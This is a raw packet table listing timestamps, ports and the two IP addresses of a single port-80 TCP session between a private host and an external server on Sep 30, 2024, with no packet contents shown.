Sep 30, 2024 12:22:27.869980097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870033026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870096922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.870102882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870136976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870155096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.870187044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870217085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870244980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.870250940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870266914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.870286942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870315075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.870340109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.870357990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879494905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879549980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879580975 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879633904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879633904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879657984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879667997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879687071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879702091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879715919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879734993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879766941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.879789114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.879812956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880120993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880173922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880203962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880222082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880222082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880248070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880256891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880306959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880309105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880342007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880377054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880386114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.880573034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.880626917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.883718967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883749962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883783102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883824110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.883824110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.883835077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883886099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883938074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.883941889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.883970022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.884002924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.884021997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.884071112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888237953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888268948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888313055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888313055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888319969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888356924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888369083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888391018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888412952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888442993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888442993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888494968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888514996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888530016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888550997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888561964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888593912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888612032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888626099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888637066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888653994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888664007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888683081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888693094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.888721943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.888742924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.889100075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.889141083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.889159918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.889185905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894243956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894299984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894304037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894335032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894368887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894392967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894412041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894438982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894471884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894486904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894509077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.894531012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.894570112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.903177023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903285027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903337002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903371096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903424978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903458118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903486967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.903486967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.903508902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.903517008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.903589964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.905802965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.905891895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.905929089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.905958891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.905988932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906009912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906013966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906064034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906069040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906099081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906111956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906150103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906151056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906184912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906219006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906244993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906253099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906279087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906285048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906300068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906317949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906325102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906353951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906361103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906397104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906775951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906830072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.906838894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.906888962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.909959078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910012960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910047054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910078049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.910099030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.910152912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910185099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910238981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910250902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.910273075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.910317898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.933760881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933814049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933849096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933855057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.933867931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.933883905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933906078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.933917999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933928013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.933969021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.933969975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934003115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934022903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934035063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934047937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934070110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934081078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934123039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934125900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934156895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934186935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934206963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934206963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934241056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934258938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934273958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.934298992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.934319019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940220118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940277100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940287113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940329075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940361977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940385103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940396070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940407991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940448046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940448999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940480947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940512896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940525055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940525055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940546989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940562963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940582991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940594912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940617085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940640926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940658092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940670013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940706968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940710068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940752983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.940776110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.940807104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957079887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957135916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957170010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957202911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957236052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957284927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957288027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957317114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957319021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957354069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957355022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957375050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957389116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957415104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957422972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957436085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957457066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957468987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957490921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957509995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957542896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957544088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957597017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.957604885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.957653046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.966886997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.966921091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.966955900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.966964960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.966964960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.966998100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.967088938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.967122078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.967148066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.967155933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.967173100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.967191935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.967220068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.967243910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.970825911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.970861912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.970901012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.970901012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.970937014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.970999956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971050978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971054077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971084118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971117020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971134901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971151114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971173048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971185923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971236944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971242905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971271038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971303940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971328020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971338034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971354008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.971370935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.971436024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975526094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975579023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975615025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975630999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975651979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975662947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975697041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975714922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975728989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975740910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975761890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975795984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975821018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975840092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975846052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975878954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975904942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975913048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975936890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975945950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975963116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.975980043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.975995064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.976031065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.976033926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.976088047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981534004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981590986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981611967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981642008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981643915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981679916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981695890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981714010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981746912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981771946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981781960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.981790066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.981849909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997282982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997334957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997370005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997404099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997406960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997431993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997453928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997476101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997528076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997529030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997592926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997597933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997648954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997699022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997714996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997730970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997766018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997782946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997817039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997819901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997853994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997885942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997915983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997920036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997936964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.997953892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.997970104 CEST	52534	80	192.168.2.4	5.42.101.62
